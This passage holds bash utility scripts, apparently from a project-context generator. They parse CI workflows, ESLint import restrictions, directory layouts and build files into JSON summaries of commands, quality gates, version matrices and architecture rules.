'.rules["no-restricted-imports"] // .rules["import/no-restricted-paths"] // empty' "$config_file" 2>/dev/null || echo "") if [ -n "$restricted" ] && [ "$restricted" != "null" ]; then found=true # Extract patterns from the restriction config local patterns patterns=$(echo "$restricted" | jq -r ' if type == "array" then .[1].patterns // .[1].zones // [] elif type == "object" then .patterns // .zones // [] else [] end | .[] | if type == "object" then "from=" + (.from // .target // "?") + " import=" + (.import // .message // "restricted") elif type == "string" then "pattern=" + . else empty end ' 2>/dev/null || echo "") while IFS= read -r pat; do [ -z "$pat" ] && continue rules_arr=$(echo "$rules_arr" | jq \ --arg desc "$pat" \ '. + [{"source": "*", "target": $desc, "type": "import_restriction"}]') done <<< "$patterns" fi fi # For JS configs, do a best-effort grep for no-restricted-imports if [[ "$config_file" == *.js ]] || [[ "$config_file" == *.mjs ]] || [[ "$config_file" == *.cjs ]]; then if grep -q 'no-restricted-imports\|import/no-restricted-paths' "$config_file" 2>/dev/null; then found=true # Extract string patterns from the config (simplified) while IFS= read -r pattern; do [ -z "$pattern" ] && continue local clean_pattern clean_pattern=$(echo "$pattern" | sed "s/['\"]//g;s/,//g;s/^[[:space:]]*//" | head -c 100) [ -n "$clean_pattern" ] && rules_arr=$(echo "$rules_arr" | jq \ --arg t "$clean_pattern" \ '. + [{"source": "*", "target": $t, "type": "import_restriction"}]') done < <(grep -A1 'no-restricted-imports\|import/no-restricted-paths' "$config_file" 2>/dev/null | grep -oE "'[^']+'" | head -10) fi fi $found || return 1 [ -z "$FRAMEWORK" ] && FRAMEWORK="eslint-imports" RULES="$rules_arr" return 0 } # --- Detect architecture from directory conventions --- parse_directory_architecture() { local rules_arr="[]" local layers_obj="{}" local found=false # Hexagonal / Ports & Adapters if [ -d "ports" ] && [ -d "adapters" ]; then found=true layers_obj=$(echo "$layers_obj" | jq '. + {"architecture_pattern": "hexagonal"}') rules_arr=$(echo "$rules_arr" | jq '. + [ {"source": "adapters", "target": "ports", "type": "may_depend"}, {"source": "ports", "target": "adapters", "type": "must_not_depend"} ]') fi # Clean Architecture if [ -d "domain" ] && { [ -d "infrastructure" ] || [ -d "application" ]; }; then found=true layers_obj=$(echo "$layers_obj" | jq '. + {"architecture_pattern": "clean-architecture"}') rules_arr=$(echo "$rules_arr" | jq '. + [ {"source": "domain", "target": "infrastructure", "type": "must_not_depend"}, {"source": "domain", "target": "application", "type": "must_not_depend"} ]') fi # Onion Architecture if [ -d "Domain" ] && [ -d "Application" ] && [ -d "Infrastructure" ]; then found=true layers_obj=$(echo "$layers_obj" | jq '. + {"architecture_pattern": "onion"}') rules_arr=$(echo "$rules_arr" | jq '. + [ {"source": "Domain", "target": "Infrastructure", "type": "must_not_depend"}, {"source": "Domain", "target": "Application", "type": "must_not_depend"}, {"source": "Application", "target": "Infrastructure", "type": "must_not_depend"} ]') fi $found || return 1 [ -z "$FRAMEWORK" ] && FRAMEWORK="directory-conventions" RULES="$rules_arr" LAYER_DEFINITIONS="$layers_obj" return 0 } # --- Main: try each parser in priority order --- # Try specific frameworks first, then fall back to conventions parse_phpat || true if [ "$FRAMEWORK" = "" ]; then parse_deptrac || true fi if [ "$FRAMEWORK" = "" ]; then parse_go_architecture || true fi if [ "$FRAMEWORK" = "" ]; then parse_eslint_imports || true fi if [ "$FRAMEWORK" = "" ]; then parse_directory_architecture || true fi # Output final JSON jq -n \ --arg framework "$FRAMEWORK" \ --argjson rules "$RULES" \ --argjson internal_packages "$INTERNAL_PACKAGES" \ --argjson layer_definitions "$LAYER_DEFINITIONS" \ '{ framework: $framework, rules: $rules, internal_packages: $internal_packages, layer_definitions: $layer_definitions } | with_entries(select( .value != "" and .value != [] and .value != {} and .value != null ))' -
extract-ci-commands.sh 12.5 KB
#!/usr/bin/env bash # Extract commands and configuration from CI/CD workflow files set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Parse GitHub Actions workflows parse_github_actions() { local workflows_dir=".github/workflows" if [ ! -d "$workflows_dir" ]; then echo "{}" return fi local workflow_files=() local all_commands=() local jobs=() local triggers=() # Find all workflow files for f in "$workflows_dir"/*.yml "$workflows_dir"/*.yaml; do [ -f "$f" ] || continue workflow_files+=("$(basename "$f")") # Extract triggers (on: section) local file_triggers file_triggers=$(grep -A10 "^on:" "$f" 2>/dev/null | grep -E "^\s+(push|pull_request|workflow_dispatch|schedule|release):" | sed 's/[[:space:]]*\([a-z_]*\):.*/\1/' | tr '\n' ',' | sed 's/,$//' || echo "") [ -n "$file_triggers" ] && triggers+=("$file_triggers") # Extract job names local in_jobs=false while IFS= read -r line; do if [[ "$line" =~ ^jobs: ]]; then in_jobs=true continue fi if $in_jobs && [[ "$line" =~ ^[[:space:]]{2}([a-zA-Z0-9_-]+): ]]; then jobs+=("${BASH_REMATCH[1]}") fi done < "$f" # Extract run commands (handles both single-line and multiline YAML blocks) local in_multiline=false local run_indent=0 while IFS= read -r line; do if $in_multiline; then # Calculate current line's indent (count leading spaces) local current_indent=0 if [[ "$line" =~ ^([[:space:]]*) ]]; then current_indent=${#BASH_REMATCH[1]} fi # Check if we've exited the multiline block (same or less indent, non-empty line) if [[ -n "${line//[[:space:]]/}" ]] && (( current_indent <= run_indent )); then in_multiline=false # Re-check this line in case it contains a new run: command else # Inside multiline block - capture first meaningful command line local trimmed="${line#"${line%%[![:space:]]*}"}" # Trim leading whitespace # Skip empty lines and comments if [[ -n "$trimmed" ]] && [[ ! "$trimmed" =~ ^# ]]; then all_commands+=("$trimmed") in_multiline=false # We only want the first command continue fi continue fi fi if [[ "$line" =~ ^([[:space:]]*)(-[[:space:]]+)?run:[[:space:]]*(.*) ]]; then run_indent=${#BASH_REMATCH[1]} local cmd="${BASH_REMATCH[3]}" # Check if it's a multi-line indicator if [[ "$cmd" == "|" ]] || [[ "$cmd" == "|-" ]] || [[ "$cmd" == "|+" ]]; then in_multiline=true continue fi # Single-line command - clean and add cmd=$(echo "$cmd" | sed 's/^[[:space:]]*//; s/[[:space:]]*$//') [ -n "$cmd" ] && all_commands+=("$cmd") fi done < "$f" done # Deduplicate local unique_commands=() local unique_triggers=() local unique_jobs=() if [ ${#all_commands[@]} -gt 0 ]; then mapfile -t unique_commands < <(printf '%s\n' "${all_commands[@]}" | sort -u | head -20) fi if [ ${#triggers[@]} -gt 0 ]; then mapfile -t unique_triggers < <(printf '%s\n' "${triggers[@]}" | tr ',' '\n' | sort -u) fi if [ ${#jobs[@]} -gt 0 ]; then mapfile -t unique_jobs < <(printf '%s\n' "${jobs[@]}" | sort -u) fi # Build JSON arrays local files_json="[]" local commands_json="[]" local triggers_json="[]" local jobs_json="[]" [ ${#workflow_files[@]} -gt 0 ] && files_json=$(printf '%s\n' "${workflow_files[@]}" | jq -R . | jq -s .) [ ${#unique_commands[@]} -gt 0 ] && commands_json=$(printf '%s\n' "${unique_commands[@]}" | jq -R . | jq -s .) [ ${#unique_triggers[@]} -gt 0 ] && triggers_json=$(printf '%s\n' "${unique_triggers[@]}" | jq -R . | jq -s .) [ ${#unique_jobs[@]} -gt 0 ] && jobs_json=$(printf '%s\n' "${unique_jobs[@]}" | jq -R . | jq -s .) jq -n \ --argjson files "$files_json" \ --argjson commands "$commands_json" \ --argjson triggers "$triggers_json" \ --argjson jobs "$jobs_json" \ '{ workflow_files: $files, triggers: $triggers, jobs: $jobs, run_commands: $commands }' } # Parse GitLab CI parse_gitlab_ci() { if [ ! -f ".gitlab-ci.yml" ]; then echo "{}" return fi local stages=() local jobs=() local commands=() # Extract stages local in_stages=false while IFS= read -r line; do if [[ "$line" =~ ^stages: ]]; then in_stages=true continue fi if $in_stages && [[ "$line" =~ ^[[:space:]]*-[[:space:]]*(.+) ]]; then stages+=("${BASH_REMATCH[1]}") elif $in_stages && [[ ! "$line" =~ ^[[:space:]] ]]; then in_stages=false fi done < ".gitlab-ci.yml" # Extract job names (lines that start with a name and have a colon, not indented, not keywords) while IFS= read -r line; do if [[ "$line" =~ ^([a-zA-Z0-9_-]+): ]] && [[ ! "$line" =~ ^(stages|variables|default|include|workflow|image|services|before_script|after_script|cache): ]]; then jobs+=("${BASH_REMATCH[1]}") fi done < ".gitlab-ci.yml" # Extract script commands local in_script=false while IFS= read -r line; do if [[ "$line" =~ ^[[:space:]]+script: ]]; then in_script=true continue fi if $in_script && [[ "$line" =~ ^[[:space:]]*-[[:space:]]*(.+) ]]; then local cmd="${BASH_REMATCH[1]}" cmd=$(echo "$cmd" | sed "s/^['\"]//;s/['\"]$//") [ -n "$cmd" ] && commands+=("$cmd") elif $in_script && [[ ! "$line" =~ ^[[:space:]] ]]; then in_script=false fi done < ".gitlab-ci.yml" # Build JSON arrays local stages_json="[]" local jobs_json="[]" local commands_json="[]" [ ${#stages[@]} -gt 0 ] && stages_json=$(printf '%s\n' "${stages[@]}" | jq -R . | jq -s .) [ ${#jobs[@]} -gt 0 ] && jobs_json=$(printf '%s\n' "${jobs[@]}" | jq -R . | jq -s .) [ ${#commands[@]} -gt 0 ] && commands_json=$(printf '%s\n' "${commands[@]}" | sort -u | head -20 | jq -R . | jq -s .) jq -n \ --argjson stages "$stages_json" \ --argjson jobs "$jobs_json" \ --argjson commands "$commands_json" \ '{ stages: $stages, jobs: $jobs, script_commands: $commands }' } # Parse CircleCI parse_circleci() { if [ ! -f ".circleci/config.yml" ]; then echo "{}" return fi local jobs=() local commands=() local orbs=() # Extract orbs local in_orbs=false while IFS= read -r line; do if [[ "$line" =~ ^orbs: ]]; then in_orbs=true continue fi if $in_orbs && [[ "$line" =~ ^[[:space:]]+([a-zA-Z0-9_-]+):[[:space:]]* ]]; then orbs+=("${BASH_REMATCH[1]}") elif $in_orbs && [[ ! "$line" =~ ^[[:space:]] ]]; then in_orbs=false fi done < ".circleci/config.yml" # Extract job names local in_jobs=false while IFS= read -r line; do if [[ "$line" =~ ^jobs: ]]; then in_jobs=true continue fi if $in_jobs && [[ "$line" =~ ^[[:space:]]{2}([a-zA-Z0-9_-]+): ]]; then jobs+=("${BASH_REMATCH[1]}") elif $in_jobs && [[ ! "$line" =~ ^[[:space:]] ]]; then in_jobs=false fi done < ".circleci/config.yml" # Extract run commands (handles both single-line and multiline YAML blocks) local in_multiline=false local cmd_indent=0 while IFS= read -r line; do if $in_multiline; then # Calculate current line's indent local current_indent=0 if [[ "$line" =~ ^([[:space:]]*) ]]; then current_indent=${#BASH_REMATCH[1]} fi # Check if we've exited the multiline block if [[ -n "${line//[[:space:]]/}" ]] && (( current_indent <= cmd_indent )); then in_multiline=false else # Inside multiline block - capture first meaningful command line local trimmed="${line#"${line%%[![:space:]]*}"}" if [[ -n "$trimmed" ]] && [[ ! "$trimmed" =~ ^# ]]; then commands+=("$trimmed") in_multiline=false continue fi continue fi fi if [[ "$line" =~ ^([[:space:]]*)command:[[:space:]]*(.*) ]]; then cmd_indent=${#BASH_REMATCH[1]} local cmd="${BASH_REMATCH[2]}" if [[ "$cmd" == "|" ]] || [[ "$cmd" == "|-" ]] || [[ "$cmd" == "|+" ]]; then in_multiline=true continue fi cmd=$(echo "$cmd" | sed 's/^[[:space:]]*//' | sed 's/[[:space:]]*$//') [ -n "$cmd" ] && commands+=("$cmd") fi done < ".circleci/config.yml" # Build JSON arrays local jobs_json="[]" local commands_json="[]" local orbs_json="[]" [ ${#jobs[@]} -gt 0 ] && jobs_json=$(printf '%s\n' "${jobs[@]}" | jq -R . | jq -s .) [ ${#commands[@]} -gt 0 ] && commands_json=$(printf '%s\n' "${commands[@]}" | sort -u | head -20 | jq -R . | jq -s .) [ ${#orbs[@]} -gt 0 ] && orbs_json=$(printf '%s\n' "${orbs[@]}" | jq -R . | jq -s .) jq -n \ --argjson jobs "$jobs_json" \ --argjson commands "$commands_json" \ --argjson orbs "$orbs_json" \ '{ orbs: $orbs, jobs: $jobs, run_commands: $commands }' } # Parse Travis CI parse_travis() { if [ ! -f ".travis.yml" ]; then echo "{}" return fi local commands=() local language="" # Extract language language=$(grep -E "^language:" ".travis.yml" 2>/dev/null | sed 's/language:[[:space:]]*//' | head -1 || echo "") # Extract script commands local in_script=false while IFS= read -r line; do if [[ "$line" =~ ^script: ]]; then in_script=true # Check if single-line script if [[ "$line" =~ ^script:[[:space:]]+(.+) ]]; then commands+=("${BASH_REMATCH[1]}") in_script=false fi continue fi if $in_script && [[ "$line" =~ ^[[:space:]]*-[[:space:]]*(.+) ]]; then commands+=("${BASH_REMATCH[1]}") elif $in_script && [[ ! "$line" =~ ^[[:space:]] ]]; then in_script=false fi done < ".travis.yml" local commands_json="[]" [ ${#commands[@]} -gt 0 ] && commands_json=$(printf '%s\n' "${commands[@]}" | jq -R . | jq -s .) jq -n \ --arg language "$language" \ --argjson commands "$commands_json" \ '{ language: $language, script_commands: $commands } | with_entries(select(.value != "" and .value != []))' } # Detect CI system CI_SYSTEM="none" if [ -d ".github/workflows" ]; then CI_SYSTEM="github-actions" elif [ -f ".gitlab-ci.yml" ]; then CI_SYSTEM="gitlab-ci" elif [ -f ".circleci/config.yml" ]; then CI_SYSTEM="circleci" elif [ -f ".travis.yml" ]; then CI_SYSTEM="travis-ci" elif [ -f "Jenkinsfile" ]; then CI_SYSTEM="jenkins" elif [ -f "azure-pipelines.yml" ]; then CI_SYSTEM="azure-pipelines" elif [ -f "bitbucket-pipelines.yml" ]; then CI_SYSTEM="bitbucket-pipelines" fi # Parse the detected CI system GITHUB_ACTIONS="{}" GITLAB_CI="{}" CIRCLECI="{}" TRAVIS="{}" case "$CI_SYSTEM" in "github-actions") GITHUB_ACTIONS=$(parse_github_actions) ;; "gitlab-ci") GITLAB_CI=$(parse_gitlab_ci) ;; "circleci") CIRCLECI=$(parse_circleci) ;; "travis-ci") TRAVIS=$(parse_travis) ;; esac # Build final JSON output jq -n \ --arg ci_system "$CI_SYSTEM" \ --argjson github_actions "$GITHUB_ACTIONS" \ --argjson gitlab_ci "$GITLAB_CI" \ --argjson circleci "$CIRCLECI" \ --argjson travis "$TRAVIS" \ '{ ci_system: $ci_system, github_actions: $github_actions, gitlab_ci: $gitlab_ci, circleci: $circleci, travis: $travis }' -
extract-ci-rules.sh 16 KB
#!/usr/bin/env bash # Extract CI workflow rules that agents need to follow: # version matrices, quality gates, coverage thresholds, security workflows, linter configs, pinned actions set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # --------------------------------------------------------------------------- # Helpers # --------------------------------------------------------------------------- # Collect unique values into a bash array via a nameref # Usage: collect_unique arr_name "value" collect_unique() { local -n _arr="$1" local val="$2" for existing in "${_arr[@]+"${_arr[@]}"}"; do [[ "$existing" == "$val" ]] && return done _arr+=("$val") } # Turn a bash array into a JSON array via jq arr_to_json() { local -n _a="$1" if [[ ${#_a[@]} -eq 0 ]]; then echo "[]" else printf '%s\n' "${_a[@]}" | jq -R . | jq -s . fi } # Try yq first, fall back to grep/sed parsing has_yq() { command -v yq &>/dev/null; } # --------------------------------------------------------------------------- # GitHub Actions parsing # --------------------------------------------------------------------------- # shellcheck disable=SC2034 # the arrays below are read by NAME through # collect_unique/arr_to_json, which take a nameref; shellcheck cannot follow # that and reports every one of them as unused. parse_github_actions() { local wf_dir=".github/workflows" [[ -d "$wf_dir" ]] || { echo "{}"; return; } local php_versions=() local node_versions=() local go_version="" local python_versions=() local quality_gates=() local required_checks=() local linter_configs=() local security_workflows=() local coverage_threshold="" local pinned_actions=true local permissions=() for wf in "$wf_dir"/*.yml "$wf_dir"/*.yaml; do [[ -f "$wf" ]] || continue local basename basename=$(basename "$wf") # --- Security workflows --- case "$basename" in codeql*|scorecard*|dependency-review*|trivy*|snyk*|semgrep*) collect_unique security_workflows "$basename" ;; esac local content content=$(<"$wf") # --- Pinned actions check --- # SHA-pinned: uses: foo/bar@<40-hex-chars> (may have # vX.Y.Z comment) # NOT pinned: uses: foo/bar@v1.2.3 or @main # Exclude reusable workflow calls (.github/workflows/) — those often can't be SHA-pinned # Strategy: find all uses: lines, exclude reusable workflows, then check if any lack a 40-char hex SHA local unpinned_count unpinned_count=$(echo "$content" \ | grep -E '^[[:space:]]*uses:' \ | grep -vE '\.github/workflows/' \ | { grep -vE '@[0-9a-f]{40}' || true; } \ | wc -l) if [[ "$unpinned_count" -gt 0 ]]; then pinned_actions=false fi # --- Permissions block --- while IFS= read -r line; do if [[ "$line" =~ ^[[:space:]]+(contents|pull-requests|security-events|id-token|packages|actions|checks|issues|statuses|deployments):[[:space:]]+(read|write|none) ]]; then local perm="${BASH_REMATCH[1]}: ${BASH_REMATCH[2]}" collect_unique permissions "$perm" fi done <<< "$content" # --- PHP version matrix --- # Matches patterns like: php: ['8.2', '8.3'] or php-version: ['8.2'] # Also matrix entries like php: [8.2, 8.3] while IFS= read -r ver; do ver=$(echo "$ver" | tr -d "\"' ") [[ -n "$ver" ]] && collect_unique php_versions "$ver" done < <(echo "$content" | grep -E '(php|php-version|php_version).*\[' | grep -oE "[0-9]+\.[0-9]+" || true) # Single php-version value while IFS= read -r ver; do ver=$(echo "$ver" | tr -d "\"' ") [[ -n "$ver" ]] && collect_unique php_versions "$ver" done < <(echo "$content" | grep -E 'php-version:[[:space:]]*[0-9]' | grep -oE "[0-9]+\.[0-9]+" || true) # --- Node version matrix --- while IFS= read -r ver; do ver=$(echo "$ver" | tr -d "\"' ") [[ -n "$ver" ]] && collect_unique node_versions "$ver" done < <(echo "$content" | grep -E '(node|node-version|node_version).*\[' | grep -oE "[0-9]+" || true) while IFS= read -r ver; do ver=$(echo "$ver" | tr -d "\"' ") [[ -n "$ver" ]] && collect_unique node_versions "$ver" done < <(echo "$content" | grep -E 'node-version:[[:space:]]*[0-9]' | grep -oE "[0-9]+" || true) # --- Go version --- # go-version-file: go.mod → read from go.mod if echo "$content" | grep -qE 'go-version-file:'; then if [[ -f "go.mod" ]]; then local gv gv=$(grep -E '^go ' go.mod | head -1 | awk '{print $2}') [[ -n "$gv" ]] && go_version="$gv" fi fi # Explicit go-version: 1.x while IFS= read -r ver; do ver=$(echo "$ver" | tr -d "\"' ") [[ -n "$ver" ]] && go_version="$ver" done < <(echo "$content" | grep -E 'go-version:[[:space:]]*[0-9]' | grep -oE "[0-9]+\.[0-9]+[0-9.]*" | head -1 || true) # --- Python version matrix --- while IFS= read -r ver; do ver=$(echo "$ver" | tr -d "\"' ") [[ -n "$ver" ]] && collect_unique python_versions "$ver" done < <(echo "$content" | grep -E '(python|python-version).*\[' | grep -oE "[0-9]+\.[0-9]+" || true) while IFS= read -r ver; do ver=$(echo "$ver" | tr -d "\"' ") [[ -n "$ver" ]] && collect_unique python_versions "$ver" done < <(echo "$content" | grep -E 'python-version:[[:space:]]*[0-9]' | grep -oE "[0-9]+\.[0-9]+" || true) # --- Quality gates (detect from job names and run commands) --- # PHPStan if echo "$content" | grep -qiE 'phpstan|phpstan\.neon'; then # Try to extract level from the command line local phpstan_level phpstan_level=$(echo "$content" | grep -oE 'phpstan[[:space:]]+analyse.*--level[=[:space:]]*[0-9]+' | grep -oE '[0-9]+$' | head -1 || true) if [[ -z "$phpstan_level" ]] && [[ -f "phpstan.neon" || -f "phpstan.neon.dist" || -f "phpstan.dist.neon" ]]; then local neon_file for neon_file in phpstan.neon phpstan.neon.dist phpstan.dist.neon; do [[ -f "$neon_file" ]] || continue phpstan_level=$(grep -E '^[[:space:]]*level:' "$neon_file" | head -1 | grep -oE '[0-9]+' || true) [[ -n "$phpstan_level" ]] && break done fi if [[ -n "$phpstan_level" ]]; then collect_unique quality_gates "phpstan-level-${phpstan_level}" else collect_unique quality_gates "phpstan" fi fi # PHPUnit / phpunit echo "$content" | grep -qiE 'phpunit|ci:test:php:unit' && collect_unique quality_gates "phpunit" # Rector echo "$content" | grep -qiE 'rector.*--dry-run|ci:test:php:rector' && collect_unique quality_gates "rector-dry-run" # PHP-CS-Fixer echo "$content" | grep -qiE 'php-cs-fixer|ci:test:php:cgl' && collect_unique quality_gates "php-cs-fixer" # golangci-lint echo "$content" | grep -qiE 'golangci-lint' && collect_unique quality_gates "golangci-lint" # ESLint echo "$content" | grep -qiE 'eslint' && collect_unique quality_gates "eslint" # Jest / Vitest echo "$content" | grep -qiE '\bjest\b|\bvitest\b' && collect_unique quality_gates "jest" # pytest echo "$content" | grep -qiE '\bpytest\b' && collect_unique quality_gates "pytest" # go test echo "$content" | grep -qE 'go test' && collect_unique quality_gates "go-test" # go vet echo "$content" | grep -qE 'go vet' && collect_unique quality_gates "go-vet" # govulncheck echo "$content" | grep -qiE 'govulncheck' && collect_unique quality_gates "govulncheck" # fuzz tests echo "$content" | grep -qE '\-fuzz=' && collect_unique quality_gates "fuzz-tests" # mutation testing echo "$content" | grep -qiE 'mutation|infection' && collect_unique quality_gates "mutation-testing" # CodeQL (also a security workflow) if echo "$content" | grep -qiE 'codeql'; then collect_unique quality_gates "codeql" collect_unique security_workflows "$basename" fi # Trivy if echo "$content" | grep -qiE 'trivy'; then collect_unique quality_gates "trivy" collect_unique security_workflows "$basename" fi # --- Coverage threshold --- # Patterns: THRESHOLD=60, --min-coverage=80, coverage-threshold: 80, fail_ci_if_error local threshold threshold=$(echo "$content" | grep -oE 'THRESHOLD=[0-9]+\.?[0-9]*' | head -1 | grep -oE '[0-9]+\.?[0-9]*' || true) [[ -n "$threshold" && -z "$coverage_threshold" ]] && coverage_threshold="${threshold}%" threshold=$(echo "$content" | grep -oE '(--min-coverage|coverage-threshold|minimum_coverage)[=:[:space:]]*[0-9]+' | head -1 | grep -oE '[0-9]+' || true) [[ -n "$threshold" && -z "$coverage_threshold" ]] && coverage_threshold="${threshold}%" # --- Required checks (from workflow names) --- local wf_name wf_name=$(echo "$content" | grep -E '^name:' | head -1 | sed 's/^name:[[:space:]]*//') [[ -n "$wf_name" ]] && collect_unique required_checks "$wf_name" # --- Linter config references --- for cfg in .php-cs-fixer.php .php-cs-fixer.dist.php phpstan.neon phpstan.neon.dist phpstan.dist.neon \ .eslintrc .eslintrc.js .eslintrc.json eslint.config.js eslint.config.mjs \ .golangci.yml .golangci.yaml .prettierrc .prettierrc.json \ ruff.toml .flake8 .pylintrc mypy.ini .mypy.ini \ .markdownlint.json .markdownlint-cli2.jsonc .yamllint.yml; do if [[ -f "$cfg" ]]; then collect_unique linter_configs "$cfg" fi done done # Build JSON local php_json node_json python_json gates_json checks_json linters_json security_json perms_json php_json=$(arr_to_json php_versions) node_json=$(arr_to_json node_versions) python_json=$(arr_to_json python_versions) gates_json=$(arr_to_json quality_gates) checks_json=$(arr_to_json required_checks) linters_json=$(arr_to_json linter_configs) security_json=$(arr_to_json security_workflows) perms_json=$(arr_to_json permissions) jq -n \ --arg ci_platform "github-actions" \ --argjson php_versions "$php_json" \ --argjson node_versions "$node_json" \ --arg go_version "$go_version" \ --argjson python_versions "$python_json" \ --argjson quality_gates "$gates_json" \ --arg coverage_threshold "$coverage_threshold" \ --argjson required_checks "$checks_json" \ --argjson pinned_actions "$pinned_actions" \ --argjson linter_configs "$linters_json" \ --argjson security_workflows "$security_json" \ --argjson permissions "$perms_json" \ '{ ci_platform: $ci_platform, php_versions: $php_versions, node_versions: $node_versions, go_version: $go_version, python_versions: $python_versions, quality_gates: $quality_gates, coverage_threshold: $coverage_threshold, required_checks: $required_checks, pinned_actions: $pinned_actions, linter_configs: $linter_configs, security_workflows: $security_workflows, permissions: $permissions } | with_entries(select(.value != "" and .value != [] and .value != null))' } # --------------------------------------------------------------------------- # GitLab CI parsing # --------------------------------------------------------------------------- # shellcheck disable=SC2034 # the arrays below are read by NAME through # collect_unique/arr_to_json, which take a nameref; shellcheck cannot follow # that and reports every one of them as unused. parse_gitlab_ci() { [[ -f ".gitlab-ci.yml" ]] || { echo "{}"; return; } local content content=$(<".gitlab-ci.yml") local quality_gates=() local stages=() # Extract stages while IFS= read -r line; do if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*(.+) ]]; then local stage="${BASH_REMATCH[1]}" stage=$(echo "$stage" | tr -d "\"' ") collect_unique stages "$stage" fi done < <(sed -n '/^stages:/,/^[^[:space:]-]/p' ".gitlab-ci.yml" | tail -n +2) # Detect quality gates from script blocks echo "$content" | grep -qiE 'phpstan' && collect_unique quality_gates "phpstan" echo "$content" | grep -qiE 'phpunit' && collect_unique quality_gates "phpunit" echo "$content" | grep -qiE 'eslint' && collect_unique quality_gates "eslint" echo "$content" | grep -qiE 'jest|vitest' && collect_unique quality_gates "jest" echo "$content" | grep -qiE 'pytest' && collect_unique quality_gates "pytest" echo "$content" | grep -qiE 'golangci-lint' && collect_unique quality_gates "golangci-lint" echo "$content" | grep -qE 'go test' && collect_unique quality_gates "go-test" local stages_json gates_json stages_json=$(arr_to_json stages) gates_json=$(arr_to_json quality_gates) jq -n \ --arg ci_platform "gitlab-ci" \ --argjson stages "$stages_json" \ --argjson quality_gates "$gates_json" \ '{ ci_platform: $ci_platform, stages: $stages, quality_gates: $quality_gates } | with_entries(select(.value != "" and .value != [] and .value != null))' } # --------------------------------------------------------------------------- # Concourse CI parsing # --------------------------------------------------------------------------- # shellcheck disable=SC2034 # the arrays below are read by NAME through # collect_unique/arr_to_json, which take a nameref; shellcheck cannot follow # that and reports every one of them as unused. parse_concourse() { local pipeline_file="" for f in ci/pipeline.yml ci/pipeline.yaml pipeline.yml pipeline.yaml ci/*.yml; do [[ -f "$f" ]] && pipeline_file="$f" && break done [[ -z "$pipeline_file" ]] && { echo "{}"; return; } local content content=$(<"$pipeline_file") local resource_types=() local jobs=() # Extract resource types while IFS= read -r line; do if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*name:[[:space:]]*(.+) ]]; then collect_unique resource_types "${BASH_REMATCH[1]}" fi done < <(sed -n '/^resource_types:/,/^[a-z]/p' "$pipeline_file" | tail -n +2) # Extract job names while IFS= read -r line; do if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*name:[[:space:]]*(.+) ]]; then collect_unique jobs "${BASH_REMATCH[1]}" fi done < <(sed -n '/^jobs:/,/^[a-z]/p' "$pipeline_file" | tail -n +2) local rt_json jobs_json rt_json=$(arr_to_json resource_types) jobs_json=$(arr_to_json jobs) jq -n \ --arg ci_platform "concourse" \ --arg pipeline_file "$pipeline_file" \ --argjson resource_types "$rt_json" \ --argjson jobs "$jobs_json" \ '{ ci_platform: $ci_platform, pipeline_file: $pipeline_file, resource_types: $resource_types, jobs: $jobs } | with_entries(select(.value != "" and .value != [] and .value != null))' } # --------------------------------------------------------------------------- # Detect CI platform and parse # --------------------------------------------------------------------------- if [[ -d ".github/workflows" ]]; then parse_github_actions elif [[ -f ".gitlab-ci.yml" ]]; then parse_gitlab_ci elif [[ -f "ci/pipeline.yml" || -f "ci/pipeline.yaml" || -f "pipeline.yml" || -f "pipeline.yaml" ]]; then parse_concourse else # No CI detected echo '{}' fi -
extract-commands.sh 11.8 KB
#!/usr/bin/env bash # Extract build commands from various build tool files set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" # shellcheck source-path=SCRIPTDIR # shellcheck disable=SC1091 # the pre-commit hook runs shellcheck without # -x, so it cannot follow this source no matter how the path is written. source "$SCRIPT_DIR/lib/config-root.sh" PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Stack filter: node, php, go, python, or auto (default) STACK_FILTER="${2:-auto}" # Skip extraction functions based on stack should_extract_node() { [[ "$STACK_FILTER" == "auto" || "$STACK_FILTER" == "node" ]] } should_extract_php() { [[ "$STACK_FILTER" == "auto" || "$STACK_FILTER" == "php" ]] } should_extract_go() { [[ "$STACK_FILTER" == "auto" || "$STACK_FILTER" == "go" ]] } should_extract_python() { [[ "$STACK_FILTER" == "auto" || "$STACK_FILTER" == "python" ]] } # Get project info (use . since we already cd'd to PROJECT_DIR) PROJECT_INFO=$(bash "$SCRIPT_DIR/detect-project.sh" ".") LANGUAGE=$(echo "$PROJECT_INFO" | jq -r '.language') # shellcheck disable=SC2034 # BUILD_TOOL reserved for future build-tool-specific detection BUILD_TOOL=$(echo "$PROJECT_INFO" | jq -r '.build_tool') # Initialize command variables INSTALL_CMD="" TYPECHECK_CMD="" LINT_CMD="" FORMAT_CMD="" TEST_CMD="" TEST_SINGLE_CMD="" BUILD_CMD="" DEV_CMD="" # Detect package manager for Node.js projects # Workspace-aware: checks workspace root for lockfiles if in a monorepo PACKAGE_MANAGER="npm" detect_package_manager() { # First, check if we're in a workspace - lockfile will be at workspace root local workspace_root workspace_root=$(find_node_workspace_root "$(pwd)" || true) if [ -n "$workspace_root" ]; then if [ -f "$workspace_root/pnpm-lock.yaml" ]; then PACKAGE_MANAGER="pnpm" return elif [ -f "$workspace_root/yarn.lock" ]; then PACKAGE_MANAGER="yarn" return elif [ -f "$workspace_root/bun.lockb" ]; then PACKAGE_MANAGER="bun" return elif [ -f "$workspace_root/package-lock.json" ]; then PACKAGE_MANAGER="npm" return fi fi # Fallback: check local directory if [ -f "pnpm-lock.yaml" ]; then PACKAGE_MANAGER="pnpm" elif [ -f "yarn.lock" ]; then PACKAGE_MANAGER="yarn" elif [ -f "bun.lockb" ]; then PACKAGE_MANAGER="bun" elif [ -f "package.json" ]; then # Check packageManager field local pm_field pm_field=$(jq -r '.packageManager // empty' package.json 2>/dev/null | cut -d@ -f1) if [ -n "$pm_field" ]; then PACKAGE_MANAGER="$pm_field" fi fi } # Get the run command for package manager get_pm_run() { case "$PACKAGE_MANAGER" in pnpm) echo "pnpm" ;; yarn) echo "yarn" ;; bun) echo "bun run" ;; *) echo "npm run" ;; esac } # Get the npx-equivalent for package manager get_pm_dlx() { case "$PACKAGE_MANAGER" in pnpm) echo "pnpm dlx" ;; yarn) echo "yarn dlx" ;; bun) echo "bunx" ;; *) echo "npx" ;; esac } # Extract from Makefile extract_from_makefile() { [ ! -f "Makefile" ] && return 0 # Extract targets with ## comments while IFS= read 